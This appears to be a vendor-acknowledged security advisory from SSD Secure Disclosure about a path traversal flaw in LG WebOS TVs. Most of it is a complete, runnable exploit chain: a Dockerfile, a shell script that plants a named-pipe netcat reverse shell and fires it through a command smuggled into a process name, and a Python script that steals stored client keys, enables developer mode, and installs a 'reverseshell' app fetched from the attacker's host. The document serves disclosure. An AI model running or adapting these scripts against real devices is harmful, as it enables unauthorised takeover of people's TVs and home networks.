Affected Versions
- LG WebOS 43UT8050
Vendor Response
The vendor has issued an advisory SMR-SEP-2025, available at: https://lgsecurity.lge.com/bulletins/tv in regard to the below described vulnerability
Credit
The vulnerability was disclosed during our TyphoonPWN 2025 LG Category and won first place.
Vulnerability Details
The browser-service on WebOS TV opens port 18888 when a USB storage device is connected to the TV, allowing peer devices to download files from the /tmp/usb or /tmp/home.office.documentviewer directories via the /getFile?path=… API.
However, the application does not validate the path parameter, which allows arbitrary file downloads from the device without authentication.

By exploiting the path traversal vulnerability above, attackers can access the database file containing authentication keys of peer clients that have previously connected to the device at /var/db/main/. These keys can be used to bypass authentication for the secondscreen.gateway service.
Through the secondscreen service, the attacker can enable developer mode, install malicious applications, and ultimately take control of the device.
Exploitation
- Install Docker
- Stop any webserver service to free up port 80 on your machine
- Build the docker image:
docker image rm lgtv:v1docker build --network=host ./ -t lgtv:v1
- Start a
listento provide a shell connect back endpointnc -l -v -n -p 4242
- Run the attack script:
docker run -t --network=host --rm lgtv:v1 sh -c "nginx ; python3 ./rootmytv.py -t 192.168.1.xx -r 192.168.1.xx"-t: IP address of TV-r: IP address of the attacking machine
# Dockerfile FROM python:3.8 WORKDIR /usr/local/app RUN apt-get update RUN apt-get install -y nginx # copy ipk to nginx dir # Install the application dependencies COPY ./src ./ COPY ./www /var/www/html/ RUN pip install --no-cache-dir -r ./requirements.txt CMD ["bash"]
#!/bin/sh
# get_root.sh
remoteip=$1
cat << 'EOF1' > /tmp/remote_trigger.py
import socket
import time
import struct
import sys
import os
import threading
import ctypes
from ctypes.util import find_library
libc = ctypes.CDLL(find_library('c'))
def set_proc_name(name):
libc.prctl(15, ctypes.c_char_p(name), 0, 0, 0)
proc_name = "blah-blah"
if len(sys.argv) > 1:
proc_name = sys.argv[1]
set_proc_name(proc_name.encode("UTF-8"))
x = threading.Thread(target=time.sleep, args=(8600,))
x.start()
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
s.connect("/tmp/remotelogger")
print("send")
s.sendall(struct.pack('<L', x.native_id) + b'A'*0x80)
print("recv")
data = s.recv(4)
print("kill")
os.kill(x.native_id, 0x4)
EOF1
echo "
#!/bin/sh
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc $remoteip 23231 >/tmp/f
exit 0
" > /tmp/xdg_e
chmod +x /tmp/xdg_e
python3 /tmp/remote_trigger.py '$(${XDG_DIR}_e)'
#!/usr/bin/python3
# rootmytv.py
from bscpylgtv import WebOsClient
from bscpylgtv import endpoints as ep
from aiohttp import web
import asyncio
import socket
import time
import requests
import os
import re
import json
import plyvel
from cursor import LGTVCursor
# import sqlite3
from sqlitedict import SqliteDict
import sys, getopt
class TV_LG:
def __init__(self, ip):
self.ip = ip
self.tvdb_path = "./tvdb"
try:
os.mkdir(self.tvdb_path)
except FileExistsError:
pass
def get_file(self, save_file_path, target_file_path):
url = "http://{}:18888/getFile?path=/tmp/usb/../..{}".format(
self.ip, target_file_path
)
print(target_file_path)
r = requests.get(url)
if r.status_code == 200:
with open(save_file_path, "bw+") as f:
f.write(r.content)
else:
# pass
print("error code {} : {}".format(r.status_code, r.text))
def get_keys(self):
results = []
if 0:
print("get manifest file")
self.get_file(self.tvdb_path + "/" + "CURRENT", "/var/db/main/CURRENT")
manifest = ""
with open(self.tvdb_path + "/" + "CURRENT", "r") as f:
manifest = f.read().strip("\r\n")
self.get_file(
self.tvdb_path + "/" + manifest, "/var/db/main/{}".format(str(manifest))
)
print("get database file")
self.get_file(self.tvdb_path + "/" + "LOG", "/var/db/main/LOG")
self.get_file(self.tvdb_path + "/" + "LOG.old", "/var/db/main/LOG.old")
dbindex = []
with open(self.tvdb_path + "/" + "LOG", "r") as f:
for line in f:
# print(line)
matches = re.findall(r"Generated table #(\d+)", line)
if len(matches) > 0:
dbindex = dbindex + matches
with open(self.tvdb_path + "/" + "LOG.old", "r") as f:
for line in f:
# print(line)
matches = re.findall(r"Generated table #(\d+)", line)
if len(matches) > 0:
dbindex = dbindex + matches
print(dbindex)
# db_files = ["/var/db/main/CURRENT", "/var/db/main/MANIFEST-000482", "000501.ldb", "000502.ldb", "000503.ldb", "000504.ldb", "000505.ldb"]
for i in dbindex:
self.get_file(
self.tvdb_path + "/" + "0" * (6 - len(str(i))) + "{}.ldb".format(i),
"/var/db/main/" + "0" * (6 - len(str(i))) + "{}.ldb".format(i),
)
ldb_dir = self.tvdb_path
db = plyvel.DB(ldb_dir, create_if_missing=False)
for key, value in db:
key_str = key.decode("utf-8", errors="ignore")
val_str = value.decode("utf-8", errors="ignore")
# print(f"Key(raw): {key}")
# print(f"Value(raw): {value}\n")
if "READ_INSTALLED_APPS" in val_str:
# if True:
key = re.findall(r"\b[a-fA-F0-9]{32}\b", val_str)
# print(key)
# if key != '':
results.append(key[0])
print(results)
return results
# Determine LAN IP using the source IP field of an outgoing connection
def get_lan_ip():
try:
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Use Google's public DNS server to determine the LAN IP
s.connect(("8.8.8.8", 80))
# Get the socket's own address
ip = s.getsockname()[0]
# Close the socket
s.close()
print(f"Using {ip} as LAN IP")
return ip
except Exception as e:
print(f"Error: {e}")
return None
STOP_SERVER = False
# HOST_IP = input("Enter your LAN IP address, or press ENTER to autodetect: ") or get_lan_ip()
HOST_IP = "192.168.1.188"
TV_IP = "192.168.1.56"
try:
opts, args = getopt.getopt(sys.argv[1:], "ht:r:", ["target=", "remoteip="])
except getopt.GetoptError:
print("exploit -t <target> -r <remoteip>")
sys.exit(2)
for opt, arg in opts:
if opt == "-h":
print("exploit -t <target> -r <remoteip>")
sys.exit()
elif opt in ("-t", "--targetip"):
TV_IP = arg
elif opt in ("-r", "--remoteip"):
HOST_IP = arg
def check_telnet():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1) # Timeout period in seconds
end_time = time.time() + 15
while time.time() < end_time:
try:
if sock.connect_ex((TV_IP, 23)) == 0:
return True
except socket.error:
pass
time.sleep(1) # Wait for 1 second before checking again
return False
async def handle(request):
print("Served 404 response")
return web.Response(text="OK")
FILE_DIR = "./www"
async def handle_download(request):
filename = request.match_info.get("filename")
file_path = os.path.join(FILE_DIR, filename)
print(filename)
if not os.path.isfile(file_path):
return web.Response(text="File not found", status=404)
return web.FileResponse(path=file_path)
async def main():
tv = TV_LG(TV_IP)
keys = tv.get_keys()
db = SqliteDict(".aiopylgtv.sqlite", "unnamed")
for key in keys:
print(f"found key: {key}")
print(f"sellect key {keys[0]} to exploit")
db[TV_IP] = keys[0]
db.commit()
mycursor = LGTVCursor(name="mytv", key=keys[0], ssl=True, hostname=TV_IP)
mycursor.connect()
print("Connecting, make sure to allow the connection using the TV remote")
client = await WebOsClient.create(TV_IP)
try:
await client.connect()
except TimeoutError:
print("Connection timed out, retrying...")
await client.connect()
finally:
print("Connected to the TV")
# enable dev mod
sub_payload = {
"enabled": True,
}
payload = {
"id": "com.webos.app.firstuse-overlay",
"params": {
"target": "eula",
"context": "eulaUpdate",
"callback": {
"onSuccess": {
"service": "luna://com.webos.service.devmode",
"method": "setDevMode",
"parameter": sub_payload,
},
"onClose": {
"service": "luna://com.webos.service.devmode",
"method": "setDevMode",
"parameter": sub_payload,
},
},
},
}
ret = await client.request(ep.LAUNCH, payload)
print(ret)
await client.disconnect()
await asyncio.sleep(1)
time.sleep(10)
# input("Press Enter to continue...")
mycursor.execute(["back"])
time.sleep(1)
mycursor.close()
print("wait tv reboot ....")
time.sleep(5)
is_online = False
while is_online == False:
print("...")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((TV_IP, 18888))
sock.close()
if result == 0:
is_online = True
else:
is_online = True
time.sleep(1)
# start new session
mycursor = LGTVCursor(name="mytv", key=keys[0], ssl=True, hostname=TV_IP)
mycursor.connect()
client = await WebOsClient.create(TV_IP)
try:
await client.connect()
except TimeoutError:
print("Connection timed out, retrying...")
await client.connect()
finally:
print("Connected to the TV again ....")
# download file
print(
"start download ipk file at "
+ "http://{}/com.reverseshell.myapp_0.0.1_all.ipk".format(HOST_IP)
)
payload_dowload = {
"target": "http://{}/com.reverseshell.myapp_0.0.1_all.ipk".format(HOST_IP),
"targetDir": "/media/internal/downloads/",
"targetFilename": "com.reverseshell.myapp_0.0.1_all.ipk",
}
payload = {
"id": "com.webos.app.firstuse-overlay",
"params": {
"target": "eula",
"context": "eulaUpdate",
"callback": {
"onSuccess": {
"service": "luna://com.webos.service.downloadmanager",
"method": "download",
"parameter": payload_dowload,
},
"onClose": {
"service": "luna://com.webos.service.downloadmanager",
"method": "download",
"parameter": payload_dowload,
},
},
},
}
ret = await client.request(ep.LAUNCH, payload)
print(ret)
time.sleep(10)
# input("Press Enter to continue...")
mycursor.execute(["back"])
time.sleep(10)
# install app
print("start install app")
payload_installapp = {
"id": "com.reverseshell.myapp",
"ipkUrl": "/media/internal/downloads/com.reverseshell.myapp_0.0.1_all.ipk",
"subscribe": True,
}
payload = {
"id": "com.webos.app.firstuse-overlay",
"params": {
"target": "eula",
"context": "eulaUpdate",
"callback": {
"onSuccess": {
"service": "luna://com.webos.appInstallService",
"method": "dev/install",
"parameter": payload_installapp,
},
"onClose": {
"service": "luna://com.webos.appInstallService",
"method": "dev/install",
"parameter": payload_installapp,
},
},
},
}
ret = await client.request(ep.LAUNCH, payload)
print(ret)
time.sleep(10)
# input("Press Enter to continue...")
mycursor.execute(["back"])
time.sleep(5)
# launch app
print("launch app ---------")
payload = {"id": "com.reverseshell.myapp", "params": {"hostip": HOST_IP}}
ret = await client.request(ep.LAUNCH, payload)
print(ret)
await asyncio.sleep(1)
await client.disconnect()
global STOP_SERVER
STOP_SERVER = True
async def init_app():
app = web.Application()
app.router.add_get("/", handle)
app.router.add_get("/{filename}", handle_download)
return app
async def start_server():
# app = await init_app()
# runner = web.AppRunner(app)
# await runner.setup()
# site = web.TCPSite(runner, "0.0.0.0", 80)
# await site.start()
# print("Server has started.")
asyncio.create_task(main())
async def main_wrapper():
await start_server()
while not STOP_SERVER:
await asyncio.sleep(1)
if __name__ == "__main__":
# with sqlite3.connect(".aiopylgtv.sqlite") as db:
# cursor = db.cursor()
# cursor.execute('CREATE TABLE IF NOT EXISTS "unnamed" (key TEXT PRIMARY KEY, value BLOB)')
# cursor.execute('INSERT OR REPLACE INTO "unnamed" (key, value) VALUES (\'{}\', \'{}\')'.format(TV_IP,keys[0]))
# db.commit()
# exit ()
asyncio.run(main_wrapper())
Researching IoT / Embedded Devices? Have a similar vulnerability you are looking to share? Let’s get the conversation going!
SSD commits to the best payouts in the industry, easy and fast submission process and the option to stay completely anonymous.
Since 2007, SSD Secure Disclosure has been helping security researchers turn their findings into thriving careers.
Explore our constantly expanding product scope – updated monthly with new products and vendors.